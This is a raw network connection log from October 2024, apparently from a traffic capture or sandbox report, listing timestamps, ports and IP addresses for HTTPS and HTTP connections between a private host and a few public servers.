Oct 10, 2024 10:14:01.740387917 CEST	64764	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.740410089 CEST	64759	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.740437031 CEST	443	64764	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.740508080 CEST	64764	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.740520000 CEST	64759	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.740520000 CEST	64759	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.740539074 CEST	443	64759	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.740550041 CEST	443	64759	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.740662098 CEST	64764	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.740674973 CEST	443	64764	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.742923975 CEST	64765	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.743009090 CEST	443	64765	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.743108988 CEST	64765	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.743252993 CEST	64765	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.743288994 CEST	443	64765	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.762365103 CEST	443	64760	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.762398958 CEST	443	64760	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.762509108 CEST	443	64760	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.762624025 CEST	64760	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.762866020 CEST	64760	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.762893915 CEST	443	64760	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.762912989 CEST	64760	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.762921095 CEST	443	64760	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.763089895 CEST	443	64758	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.763268948 CEST	443	64758	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.763309956 CEST	443	64758	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.763394117 CEST	64758	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.763529062 CEST	64758	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.763541937 CEST	443	64758	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.763595104 CEST	64758	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.763600111 CEST	443	64758	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.765620947 CEST	64766	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.765651941 CEST	443	64766	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.765734911 CEST	64766	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.765772104 CEST	64767	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.765793085 CEST	443	64767	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.765851021 CEST	64767	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.765928984 CEST	64766	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.765958071 CEST	443	64766	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.765983105 CEST	64767	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.765995026 CEST	443	64767	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.818830013 CEST	443	64762	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.818871021 CEST	443	64762	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.818929911 CEST	443	64762	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.819130898 CEST	64762	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.820219994 CEST	64762	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.820219994 CEST	64762	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.820246935 CEST	443	64762	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.820274115 CEST	443	64762	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.823004961 CEST	64768	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.823036909 CEST	443	64768	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:01.823147058 CEST	64768	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.823744059 CEST	64768	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:01.823757887 CEST	443	64768	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.329118013 CEST	80	64763	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:02.329147100 CEST	80	64763	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:02.329372883 CEST	64763	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:02.329898119 CEST	64763	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:02.329898119 CEST	64763	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:02.405045033 CEST	443	64764	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.408051014 CEST	443	64765	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.417062044 CEST	443	64766	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.429961920 CEST	64764	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.429996967 CEST	443	64764	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.430402040 CEST	64764	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.430407047 CEST	443	64764	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.430757046 CEST	64765	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.430797100 CEST	443	64765	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.430947065 CEST	64765	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.430958986 CEST	443	64765	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.431142092 CEST	64766	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.431150913 CEST	443	64766	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.431447983 CEST	64766	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.431453943 CEST	443	64766	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.448302984 CEST	443	64767	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.495120049 CEST	64767	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.505475998 CEST	443	64768	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.532646894 CEST	443	64766	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.532890081 CEST	443	64766	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.533035040 CEST	64766	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.534117937 CEST	443	64764	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.534291029 CEST	443	64764	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.535329103 CEST	443	64765	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.535420895 CEST	443	64765	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.535439968 CEST	64764	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.536613941 CEST	64765	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.557679892 CEST	64768	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.782440901 CEST	64767	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.782478094 CEST	443	64767	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.788327932 CEST	64767	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.788351059 CEST	443	64767	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.788474083 CEST	64764	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.788474083 CEST	64764	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.788510084 CEST	443	64764	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.788531065 CEST	443	64764	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.788552999 CEST	64765	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.788552999 CEST	64765	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.788628101 CEST	443	64765	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.788654089 CEST	443	64765	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.792995930 CEST	64768	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.793040037 CEST	443	64768	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.793392897 CEST	64768	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.793401957 CEST	443	64768	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.793596029 CEST	64766	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.793596983 CEST	64766	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.793610096 CEST	443	64766	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.793625116 CEST	443	64766	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.813409090 CEST	64769	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.813461065 CEST	443	64769	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.813525915 CEST	64769	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.813767910 CEST	64769	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.813777924 CEST	443	64769	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.815850019 CEST	64770	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.815860033 CEST	443	64770	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.815932035 CEST	64770	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.816906929 CEST	64771	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:02.817047119 CEST	64770	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.817063093 CEST	443	64770	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.817905903 CEST	64772	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.817966938 CEST	443	64772	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.818026066 CEST	64772	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.818182945 CEST	64772	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.818227053 CEST	443	64772	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.821702003 CEST	80	64771	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:02.821759939 CEST	64771	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:02.825536966 CEST	64771	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:02.830357075 CEST	80	64771	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:02.898149967 CEST	443	64767	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.898194075 CEST	443	64767	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.898248911 CEST	443	64767	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.898370028 CEST	64767	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.898370028 CEST	64767	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.907033920 CEST	443	64768	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.907241106 CEST	443	64768	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.907295942 CEST	64768	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.959268093 CEST	64767	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.959286928 CEST	443	64767	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.959301949 CEST	64767	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.959307909 CEST	443	64767	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.968766928 CEST	64768	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.968806028 CEST	443	64768	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:02.968921900 CEST	64768	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:02.968933105 CEST	443	64768	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.075742006 CEST	64773	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.075783968 CEST	443	64773	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.075845957 CEST	64773	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.076653957 CEST	64773	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.076666117 CEST	443	64773	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.077234983 CEST	64774	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.077243090 CEST	443	64774	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.077291965 CEST	64774	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.077445030 CEST	64774	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.077456951 CEST	443	64774	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.474878073 CEST	443	64772	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.475233078 CEST	443	64769	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.475482941 CEST	64772	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.475547075 CEST	443	64772	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.475552082 CEST	64769	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.475578070 CEST	443	64769	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.475908995 CEST	64772	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.475924015 CEST	443	64772	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.475945950 CEST	64769	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.475951910 CEST	443	64769	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.496094942 CEST	443	64770	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.496470928 CEST	64770	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.496479034 CEST	443	64770	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.496856928 CEST	64770	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.496861935 CEST	443	64770	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.529020071 CEST	80	64771	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:03.529041052 CEST	80	64771	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:03.529107094 CEST	64771	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:03.529192924 CEST	64771	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:03.529474974 CEST	64771	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:03.529512882 CEST	64771	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:03.582190037 CEST	443	64772	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.582427979 CEST	443	64772	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.582484007 CEST	443	64772	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.582510948 CEST	64772	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.582583904 CEST	64772	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.582583904 CEST	64772	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.582583904 CEST	64772	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.585009098 CEST	64775	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.585051060 CEST	443	64775	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.585117102 CEST	64775	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.585222960 CEST	443	64769	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.585232019 CEST	64775	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.585242987 CEST	443	64775	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.585319996 CEST	443	64769	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.585360050 CEST	64769	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.585372925 CEST	443	64769	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.585402012 CEST	443	64769	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.585434914 CEST	64769	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.585453987 CEST	443	64769	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.585484982 CEST	64769	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.585484982 CEST	64769	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.585493088 CEST	443	64769	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.585501909 CEST	443	64769	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.587337971 CEST	64776	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.587435007 CEST	443	64776	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.587537050 CEST	64776	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.587646008 CEST	64776	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.587676048 CEST	443	64776	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.608566046 CEST	443	64770	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.608649015 CEST	443	64770	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.608711004 CEST	64770	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.616607904 CEST	64770	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.616630077 CEST	443	64770	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.616657019 CEST	64770	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.616668940 CEST	443	64770	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.618388891 CEST	64777	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.618424892 CEST	443	64777	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.618480921 CEST	64777	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.618556976 CEST	64777	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.618571043 CEST	443	64777	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.726502895 CEST	443	64774	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.730823040 CEST	64774	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.730900049 CEST	443	64774	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.731300116 CEST	64774	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.731318951 CEST	443	64774	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.774090052 CEST	443	64773	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.774621964 CEST	64773	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.774632931 CEST	443	64773	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.775053024 CEST	64773	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.775058031 CEST	443	64773	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.833883047 CEST	443	64774	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.833940983 CEST	443	64774	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.834132910 CEST	64774	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.834376097 CEST	64774	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.834424019 CEST	443	64774	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.834460974 CEST	64774	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.834476948 CEST	443	64774	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.836919069 CEST	64778	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.836960077 CEST	443	64778	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.837163925 CEST	64778	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.837163925 CEST	64778	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.837201118 CEST	443	64778	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.883532047 CEST	443	64773	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.883641005 CEST	443	64773	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.883722067 CEST	64773	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.883929014 CEST	64773	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.883948088 CEST	443	64773	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.883977890 CEST	64773	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.883990049 CEST	443	64773	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.885674953 CEST	64772	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.885718107 CEST	443	64772	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.887381077 CEST	64779	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.887473106 CEST	443	64779	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:03.887593985 CEST	64779	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.887713909 CEST	64779	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:03.887737036 CEST	443	64779	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.072504044 CEST	64573	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:04.077490091 CEST	80	64573	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:04.243555069 CEST	443	64775	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.244144917 CEST	64775	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.244211912 CEST	443	64775	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.244743109 CEST	64775	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.244759083 CEST	443	64775	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.249666929 CEST	80	64573	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:04.249738932 CEST	64573	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:04.253797054 CEST	64780	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:04.253829002 CEST	443	64780	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:04.253916025 CEST	64780	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:04.254273891 CEST	64780	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:04.254287958 CEST	443	64780	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:04.297051907 CEST	443	64776	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.297548056 CEST	64776	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.297611952 CEST	443	64776	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.297979116 CEST	64776	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.297996044 CEST	443	64776	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.299459934 CEST	443	64777	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.299798965 CEST	64777	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.299819946 CEST	443	64777	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.300010920 CEST	64777	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.300023079 CEST	443	64777	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.351077080 CEST	443	64775	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.351258993 CEST	443	64775	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.351325035 CEST	64775	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.351424932 CEST	64775	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.351424932 CEST	64775	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.351466894 CEST	443	64775	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.351499081 CEST	443	64775	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.354154110 CEST	64781	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.354240894 CEST	443	64781	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.354326010 CEST	64781	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.354979992 CEST	64781	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.355012894 CEST	443	64781	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.410736084 CEST	443	64776	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.410824060 CEST	443	64777	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.410973072 CEST	443	64777	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.411051989 CEST	64777	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.411087036 CEST	64777	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.411104918 CEST	443	64777	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.411139011 CEST	64777	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.411144972 CEST	443	64777	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.411246061 CEST	443	64776	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.411307096 CEST	64776	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.411391020 CEST	64776	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.411391020 CEST	64776	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.411443949 CEST	443	64776	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.411473989 CEST	443	64776	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.413697958 CEST	64782	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.413793087 CEST	443	64782	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.413831949 CEST	64783	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.413861990 CEST	443	64783	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.413868904 CEST	64782	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.413912058 CEST	64783	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.414000988 CEST	64782	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.414024115 CEST	443	64782	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.414037943 CEST	64783	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.414050102 CEST	443	64783	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.529074907 CEST	443	64778	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.530209064 CEST	64778	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.530210018 CEST	64778	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.530227900 CEST	443	64778	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.530241966 CEST	443	64778	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.542435884 CEST	443	64779	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.543788910 CEST	64779	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.543860912 CEST	443	64779	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.544286013 CEST	64779	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.544342041 CEST	443	64779	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.642071009 CEST	443	64778	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.642160892 CEST	443	64778	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.642263889 CEST	443	64778	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.642313957 CEST	64778	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.642313957 CEST	64778	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.642522097 CEST	64778	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.642523050 CEST	64778	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.642545938 CEST	443	64778	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.642564058 CEST	443	64778	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.645382881 CEST	64784	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.645436049 CEST	443	64784	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.645524979 CEST	64784	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.645714998 CEST	64784	443	192.168.2.4	13.107.253.45
